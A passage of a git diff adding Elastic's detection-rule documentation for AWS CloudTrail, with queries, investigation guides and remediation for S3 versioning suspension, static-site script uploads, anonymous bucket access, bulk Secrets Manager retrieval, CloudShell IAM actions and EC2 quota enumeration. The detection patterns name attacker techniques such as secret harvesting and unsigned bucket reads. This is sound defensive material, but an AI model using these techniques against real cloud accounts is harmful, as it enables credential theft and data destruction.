disable versioning to inhibit recovery efforts, conceal data destruction, or prepare for ransomware-like activity. +This rule uses https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-eql-rule[EQL] to detect use of the `PutBucketVersioning` API operation where the request parameters include `Status=Suspended`. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who performed the action. + - Verify whether this user or role has a legitimate operational reason to modify bucket versioning and whether such actions are common for this identity. + +- **Analyze the Source and Context** + - Review `source.ip` and `user_agent.original` to assess the origin of the request. + - Check for unusual geographic locations, IP ranges, or clients that do not typically manage storage configurations. + +- **Evaluate the Affected Resource** + - Review `aws.cloudtrail.resources.arn` or `aws.cloudtrail.request_parameters` to identify which bucket’s versioning was modified. + - Determine whether this bucket contains critical or regulated data (logs, backups, audit evidence, etc.) that would be impacted by versioning suspension. + +- **Correlate with Related Activity** + - Search for additional CloudTrail events performed by the same actor or IP address within the same timeframe, such as: + - `DeleteObject`, `DeleteObjects`, or `PutBucketLifecycle` events (potential data destruction). + - `PutBucketPolicy` or `PutBucketAcl` changes (permission manipulation). + - Review other detections related to S3 buckets or IAM changes to determine if this event is part of a larger sequence of destructive or unauthorized actions. + +- **Validate Intent** + - Confirm whether this configuration change aligns with approved maintenance or automation activity (e.g., cost optimization, test environment reset). + - If no corresponding change request or justification exists, treat this as a potential defense evasion or impact event. + + +*False positive analysis* + + +- **Legitimate Administrative Actions** + - Administrators or infrastructure automation tools may suspend versioning during migrations or lifecycle testing. Confirm through change management documentation. +- **Automation and Pipelines** + - Verify whether Infrastructure-as-Code tools (e.g., Terraform, CloudFormation) or backup lifecycle scripts routinely modify versioning states. + - Exclude predictable automation identities where justified, while ensuring strong audit controls remain in place. + + +*Response and remediation* + + +**Containment and Validation** +- Re-enable versioning immediately for the affected bucket using the AWS Console or CLI (`aws s3api put-bucket-versioning --bucket my-bucket --versioning-configuration Status=Enabled`). +- Verify the change with `get-bucket-versioning` to confirm the bucket is restored to “Enabled.” +- Identify IAM users or roles with `s3:PutBucketVersioning` permissions and restrict access to trusted administrators only. +- Preserve relevant CloudTrail, Config, and CloudWatch logs for the timeframe of the change to ensure integrity of investigation evidence. + +**Investigation and Scoping** +- Search CloudTrail for related actions by the same user or IP, including `DeleteObject`, `PutBucketLifecycle`, or `PutBucketPolicy`, to determine whether versioning suspension preceded object deletion or policy manipulation. +- Review S3 access logs or Data Events for deleted, overwritten, or newly uploaded files after versioning suspension. +- Validate if the change corresponds to an authorized change request or approved pipeline deployment. + +**Recovery and Hardening** +- If object loss or overwrites occurred, attempt recovery using cross-region replication, AWS Backup, or previous snapshot copies. +- Enable S3 Object Lock and MFA Delete on critical buckets to prevent future tampering. +- Configure the AWS Config rule `s3-bucket-versioning-enabled` to continuously monitor for versioning suspension and trigger automated alerts. +- Review IAM and service control policies to ensure the principle of least privilege is enforced for all S3 management actions. +- Document findings and update incident response procedures to include versioning protection as part of ransomware and data destruction prevention strategies. + + + +*Additional information* + +- AWS Documentation: https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html[Using Versioning in S3] +- API Reference: https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html[PutBucketVersioning] +- https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks] +- https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework] + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketVersioning" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Status=Suspended") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-static-site-javascript-file-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-static-site-javascript-file-uploaded.asciidoc new file mode 100644 index 0000000000..a124af86ae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-static-site-javascript-file-uploaded.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-21-aws-s3-static-site-javascript-file-uploaded]] +=== AWS S3 Static Site JavaScript File Uploaded + +This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteHosting.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutObject.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Tactic: Impact +* Use Case: Web Application Compromise +* Use Case: Cloud Threat Detection +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS S3 Static Site JavaScript File Uploaded* + + +An S3 `PutObject` action that targets a path like `static/js/` and uploads a `.js` file is a potential signal for web content modification. If done by an unexpected IAM user or outside of CI/CD workflows, it may indicate a compromise. + + +*Possible Investigation Steps* + + +- **Identify the Source User**: Check `aws.cloudtrail.user_identity.arn`, access key ID, and session type (`IAMUser`, `AssumedRole`, etc). +- **Review File Content**: Use the S3 `GetObject` or CloudTrail `requestParameters` to inspect the uploaded file for signs of obfuscation or injection. +- **Correlate to Other Events**: Review events from the same IAM user before and after the upload (e.g., `ListBuckets`, `GetCallerIdentity`, IAM activity). +- **Look for Multiple Uploads**: Attackers may attempt to upload several files or modify multiple directories. + + +*False Positive Analysis* + + +- This behavior may be expected during app deployments. Look at: + - The `user_agent.original` to detect legitimate CI tools (like Terraform or GitHub Actions). + - Timing patterns—does this match a regular release window? + - The origin IP and device identity. + + +*Response and Remediation* + + +- **Revert Malicious Code**: Replace the uploaded JS file with a clean version and invalidate CloudFront cache if applicable. +- **Revoke Access**: If compromise is confirmed, revoke the IAM credentials and disable the user. +- **Audit IAM Policies**: Ensure that only deployment users can modify static site buckets. +- **Enable Bucket Versioning**: This can allow for quick rollback and historical review. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail* metadata _id, _version, _index + +| where + // S3 object write activity + data_stream.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutObject" + and event.outcome == "success" + + // IAM users or assumed roles only + and aws.cloudtrail.user_identity.type in ("IAMUser", "AssumedRole") + + // Requests for static site bundles + and aws.cloudtrail.request_parameters like "*static/js/*.js*" + + // Exclude IaC and automation tools + and not ( + user_agent.original like "*Terraform*" + or user_agent.original like "*Ansible*" + or user_agent.original like "*Pulumi*" + ) + +// Extract fields from request parameters +| dissect aws.cloudtrail.request_parameters + "%{{?bucket.name.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_name}, %{?host.key}=%{Esql_priv.aws_cloudtrail_request_parameters_host}, %{?bucket.object.location.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_object_location}}" + +// Extract file name portion from full object path +| dissect Esql.aws_cloudtrail_request_parameters_bucket_object_location "%{}static/js/%{Esql.aws_cloudtrail_request_parameters_object_key}" + +// Match on JavaScript files +| where ends_with(Esql.aws_cloudtrail_request_parameters_object_key, ".js") + +// Retain relevant ECS and dissected fields +| keep + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.access_key_id, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.request_parameters, + Esql.aws_cloudtrail_request_parameters_bucket_name, + Esql.aws_cloudtrail_request_parameters_object_key, + user_agent.original, + source.ip, + event.action, + @timestamp, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Defacement +** ID: T1491 +** Reference URL: https://attack.mitre.org/techniques/T1491/ +* Sub-technique: +** Name: External Defacement +** ID: T1491.002 +** Reference URL: https://attack.mitre.org/techniques/T1491/002/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc new file mode 100644 index 0000000000..22debda01e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-21-aws-s3-unauthenticated-bucket-access-by-rare-source]] +=== AWS S3 Unauthenticated Bucket Access by Rare Source + +Identifies AWS CloudTrail events where an unauthenticated source is attempting to access an S3 bucket. This activity may indicate a misconfigured S3 bucket policy that allows public access to the bucket, potentially exposing sensitive data to unauthorized users. Adversaries can specify --no-sign-request in the AWS CLI to retrieve objects from an S3 bucket without authentication. This is a New Terms rule, which means it will trigger for each unique combination of the source.address and targeted bucket name that has not been seen making this API request. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon S3 +* Use Case: Asset Visibility +* Resources: Investigation Guide +* Tactic: Collection + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Unauthenticated Bucket Access by Rare Source* + + +This rule detects requests to an AWS S3 bucket by an unauthenticated source, which could indicate a misconfigured bucket policy allowing public access. Adversaries can exploit this misconfiguration by using tools or AWS CLI options like `--no-sign-request` to access bucket contents. + +The rule triggers when an unauthenticated IP address retrieves an object, and that IP has not been seen in the last 7 days. + + +*Possible Investigation Steps* + + +**Identify the Source of the Request**: + - Review the `source.address` field to determine the IP address of the request source. + - Check `source.geo` fields for geographic details of the originating IP address. + - Analyze the `user_agent.original` field to identify the client or tool used (e.g., `Python Requests`, `aws-cli`, browser). + +**Review the Accessed Bucket and Object**: + - Analyze the `aws.cloudtrail.resources.arn` field to identify the S3 bucket and object being accessed. + - Inspect `aws.cloudtrail.request_parameters` for bucket name and object key to determine which file was retrieved. + - Review the `even.action` field to identify which API call was made (e.g., `GetObject`, `ListObjects`, `PutObject`, `ListBucket`). + +**Validate the Source IP and Context**: + - Determine if the IP address (`source.address`) has any prior activity in your environment. + - Correlate the IP with threat intelligence or blocklist databases to check for malicious indicators. + - Review CloudTrail logs for other activities originating from the same IP. + +**Analyze the S3 Bucket Configuration**: + - Review the S3 bucket's Access Control List (ACL) and bucket policy to check for misconfigurations allowing public or unauthenticated access. + - Look for overly permissive settings, such as `Principal: *` or `Effect: Allow` rules that expose the bucket. + +**Investigate Additional Activity**: + - Check if there are subsequent actions, such as: + - **Additional `GetObject` API calls**: Indicating further data exfiltration. + - **ListObjects requests**: Attempting to enumerate the bucket's contents. + - Correlate events within the same timeframe to identify related suspicious activity. + +**Assess the Data Exposed**: + - Identify the retrieved object(s) and analyze their content to assess potential data exposure. + - Determine if the file contains sensitive information, such as credentials, intellectual property, or PII. + + +*False Positive Analysis* + + +- **Public Buckets by Design**: Some S3 buckets may intentionally allow public access. Verify with the bucket owner if the access was expected. +- **Automated Tools**: Security scanners or legitimate services may generate `GetObject` events to validate bucket configurations. + + +*Response and Remediation* + + +**Immediate Action**: + - Restrict or remove public access to the affected S3 bucket. + - Update the bucket policy to ensure access is restricted to trusted principals. + - Enable **S3 Block Public Access** settings to prevent unintended public access. + +**Monitoring and Detection**: + - Enable detailed logging and monitoring for all S3 bucket activities. + - Configure real-time alerts for unauthenticated `GetObject` or `ListObjects` events on sensitive S3 buckets. + +**Security Audits**: + - Regularly audit S3 bucket policies and ACLs to ensure they adhere to AWS security best practices. + - Use AWS tools like **Trusted Advisor** or **Access Analyzer** to identify and address misconfigurations. + +**Investigate for Data Exfiltration**: + - Analyze historical CloudTrail logs to determine if other sensitive files were accessed or exfiltrated. + - Assess the scope of the exposure and initiate further response if sensitive data was compromised. + + +*Additional Resources* + + +- https://docs.aws.amazon.com/AmazonS3/latest/userguide/example-bucket-policies.html[AWS Documentation: S3 Bucket Policy Best Practices] +- https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html[AWS S3 Block Public Access] + + +==== Setup + + +S3 data events must be enabled in CloudTrail to capture the GetObject, PutObject, ListObjects, and DeleteObject actions. Ensure that the AWS CloudTrail service is configured to log data events for the S3 bucket you'd like to monitor. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: ( + "GetObject" or + "PutObject" or + "ListObjects" or + "DeleteObject" or + "ListBucket") + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: ("AWSAccount" or "Unknown") + and cloud.account.id: "anonymous" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Storage Object Discovery +** ID: T1619 +** Reference URL: https://attack.mitre.org/techniques/T1619/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-secrets-manager-rapid-secrets-retrieval.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-secrets-manager-rapid-secrets-retrieval.asciidoc new file mode 100644 index 0000000000..e8c3f32548 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-secrets-manager-rapid-secrets-retrieval.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-21-aws-secrets-manager-rapid-secrets-retrieval]] +=== AWS Secrets Manager Rapid Secrets Retrieval + +Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html +* https://detectioninthe.cloud/ttps/credential_access/access_secret_in_secrets_manager/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Secrets Manager +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. +> While every effort has been made to ensure its quality, validate and adapt it for your operational needs. + + +*Investigating AWS Secrets Manager Rapid Secrets Retrieval* + + +AWS Secrets Manager stores sensitive credentials such as database passwords, API keys, OAuth tokens, and service +configuration values. In credential compromise scenarios, attackers frequently attempt to retrieve as many secrets as +possible in a short timeframe to escalate privileges or move laterally across the environment. + +This threshold rule triggers when a single user identity successfully retrieves 20 or more unique secrets using +`GetSecretValue` or `BatchGetSecretValue` within a short timespan. Retrieval of many different secrets in rapid succession is highly unusual and strongly associated with reconnaissance, secret harvesting, or compromised automation. + +Note: `BatchGetSecretValue` API calls the `GetSecretValue` API for each secret value; this alert only captures the `GetSecretValue` calls rather than the `BatchGetSecretValue` call itself. + + +*Possible investigation steps* + + +- **Identify the user or role** + - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `aws.cloudtrail.user_identity.type`. + - Determine whether the identity normally accesses Secrets Manager or is tied to a known automation workload. + +- **Analyze the set of secrets retrieved** + - Expand the alert in Timeline and review `aws.cloudtrail.request_parameters` for all `SecretId` values in the grouped threshold event. + - Identify whether the accessed secrets include: + - Privileged database credentials + - IAM user or service account credentials + - Production application secrets + - Rarely accessed or high-sensitivity secrets + +- **Assess the runtime context** + - Investigate `source.ip`, `source.geo.location`, and `user_agent.original`. + - Validate whether the calls originated from known internal automation (e.g., ECS task, Lambda runtime, EC2 instance profile) + or from an unexpected IP or user agent. + +- **Correlate with other activity from the same identity** + - Look for related reconnaissance or credential-access events: + - `ListSecrets`, `DescribeSecret` + - IAM enumeration (`ListUsers`, `GetCallerIdentity`) + - Role-chaining or unusual `AssumeRole` flows + - Check for subsequent use of exposed credentials (RDS login attempts, API activity, abnormal resource access). + +- **Determine whether unusual automation or deployment activity is occurring** + - Confirm with application owners whether a new deployment, config reload, or migration might explain the multi-secret access. + + +*False positive analysis* + + +- Legitimate application initialization or rollouts may retrieve many secrets once on startup. +- CI/CD pipelines or configuration management tools may enumerate secrets as part of environment bootstrapping. + +To reduce noise, consider exceptions based on: +- Known service roles +- Expected source IP ranges +- Specific application identities tied to secret orchestration + + +*Response and remediation* + + +- **Containment** + - Immediately revoke or disable the IAM user, role session, or instance profile if compromise is suspected. + - Quarantine EC2/ECS/Lambda resources originating suspicious calls. + +- **Investigation** + - Identify all secrets accessed in the grouped alert and determine where those credentials are used. + - Review CloudTrail for any suspicious follow-on activity using the retrieved secrets. + - Assess whether additional identities or workloads show similar enumeration behavior. + +- **Recovery and hardening** + - Rotate all accessed secrets and update dependent systems. + - Rotate IAM access keys or temporary credentials for the impacted identity. + - Restrict permissions to Secrets Manager following least privilege. + - Review automation and application behavior to ensure secrets are accessed only when required. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "secretsmanager.amazonaws.com" + and event.action: "GetSecretValue" + and event.outcome: "success" + and not ( + user_agent.name: ("Chrome" or "Firefox" or "Safari" or "Edge" or "Brave" or "Opera") + or source.address: ("kafka.amazonaws.com" or "apidestinations.events.amazonaws.com") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Databases +** ID: T1213.006 +** Reference URL: https://attack.mitre.org/techniques/T1213/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc new file mode 100644 index 0000000000..b428f8fcf3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-21-aws-sensitive-iam-operations-performed-via-cloudshell]] +=== AWS Sensitive IAM Operations Performed via CloudShell + +Identifies sensitive AWS IAM operations performed via AWS CloudShell based on the user agent string. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. While convenient for administrators, CloudShell access from compromised console sessions can enable attackers to perform privileged operations without installing tools or using programmatic credentials. This rule detects high-risk actions such as creating IAM users, access keys, roles, or attaching policies when initiated from CloudShell, which may indicate post-compromise credential harvesting or privilege escalation activity. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/cloudshell/latest/userguide/welcome.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Tactic: Persistence +* Tactic: Privilege Escalation +* Use Case: Threat Detection +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Sensitive IAM Operations Performed via CloudShell* + + +AWS CloudShell is a browser-based shell environment that provides instant command-line access to AWS resources without requiring local CLI installation or credential configuration. While this is convenient for legitimate administrators, it also provides adversaries with a powerful tool if they gain access to a compromised AWS console session. Attackers can use CloudShell to perform sensitive operations without leaving artifacts on their local systems. + +This rule detects high-risk IAM operations performed via CloudShell, including credential creation, user management, and policy attachment. These actions are commonly seen in post-compromise scenarios where attackers establish persistence or escalate privileges. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine which IAM principal performed the action. + - Check `source.ip` and `source.geo` fields to verify the request origin matches expected administrator locations. + - Investigate the console login event that established the CloudShell session. + +- **Analyze the specific action** + - Review `event.action` to understand exactly what operation was performed. + - For `CreateAccessKey` or `CreateUser`, identify the target principal and assess whether this was authorized. + - For policy attachments, review which policies were attached and to which entities. + +- **Review request and response details** + - Examine `aws.cloudtrail.request_parameters` for specifics like user names, policy ARNs, or role configurations. + - Check `aws.cloudtrail.response_elements` for created resource identifiers. + +- **Correlate with surrounding activity** + - Search for preceding events such as `ConsoleLogin` from the same session or IP address. + - Look for MFA bypass indicators or unusual login patterns before CloudShell usage. + - Check for subsequent use of any created credentials or roles. + +- **Assess the broader context** + - Determine if this CloudShell usage pattern is typical for this user. + - Review recent access patterns for the console session that initiated CloudShell. + + +*False positive analysis* + + +- Routine administrative tasks using CloudShell are common in some organizations. Create baseline profiles for users who regularly use CloudShell. +- Infrastructure automation testing may involve CloudShell for quick validation. Verify with the user. + + + +*Response and remediation* + + +- If unauthorized, immediately terminate the console session and revoke any created credentials. +- Rotate credentials for any IAM users or roles that may have been compromised. +- Review and remove any unauthorized users, access keys, roles, or policy attachments. +- Consider restricting CloudShell access via SCPs or IAM policies for sensitive accounts. +- Implement session duration limits to reduce the window of opportunity for console session abuse. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: ( + "CreateAccessKey" or + "CreateUser" or + "AttachUserPolicy" or + "PutUserPolicy" or + "CreateRole" or + "AttachRolePolicy" or + "PutRolePolicy" or + "CreateInstanceProfile" or + "AddRoleToInstanceProfile" + ) + and event.outcome: "success" + and user_agent.original: *CloudShell* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-service-quotas-multi-region-getservicequota-requests.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-service-quotas-multi-region-getservicequota-requests.asciidoc new file mode 100644 index 0000000000..8eda567679 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-service-quotas-multi-region-getservicequota-requests.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-21-aws-service-quotas-multi-region-getservicequota-requests]] +=== AWS Service Quotas Multi-Region GetServiceQuota Requests + +Identifies when a single AWS principal makes GetServiceQuota API calls for the EC2 service quota L-1216C47A, across more than 10 AWS regions within a 30-second window. This quota represents the vCPU limit for on-demand EC2 instances. Adversaries commonly enumerate this quota across regions to assess capacity for large-scale instance deployment, including cryptocurrency mining, malware hosting, or command-and-control infrastructure. This behavior may indicate cloud infrastructure discovery using compromised credentials or a compromised workload. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sentinelone.com/labs/exploring-fbot-python-based-malware-targeting-cloud-and-payment-services/ +* https://docs.aws.amazon.com/servicequotas/2019-06-24/apireference/API_GetServiceQuota.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Service Quotas +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Service Quotas Multi-Region GetServiceQuota Requests* + + +AWS Service Quotas define usage limits for AWS services and are commonly referenced during capacity planning or automation. However, adversaries frequently enumerate EC2 on-demand instance quotas across many regions to identify where they can rapidly deploy compute resources for malicious purposes such as cryptocurrency mining, botnet hosting, or malware staging. This rule detects unusually fast, multi-region enumeration of the EC2 on-demand vCPU quota (`L-1216C47A`), a pattern that is uncommon for normal administrative activity and strongly associated with cloud infrastructure discovery. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine whether the requests originated from an IAM user, role, or assumed role. Validate whether this principal is expected to perform quota discovery or capacity analysis across many regions. + +**Evaluate the scope of discovery** +- Review the `cloud.region` values to determine which regions were queried and whether they align with regions normally used by your organization. Rapid enumeration of rarely used or disabled regions increases suspicion. + +**Inspect request origin and tooling** +- Review `source.ip`, `source.as.organization.name`, and `user_agent.original` to determine whether the activity originated from a trusted corporate network, known cloud automation environment, or an unexpected hosting provider or VPN. +- Unexpected user agents or hosting providers may indicate compromised credentials or an attacker-controlled 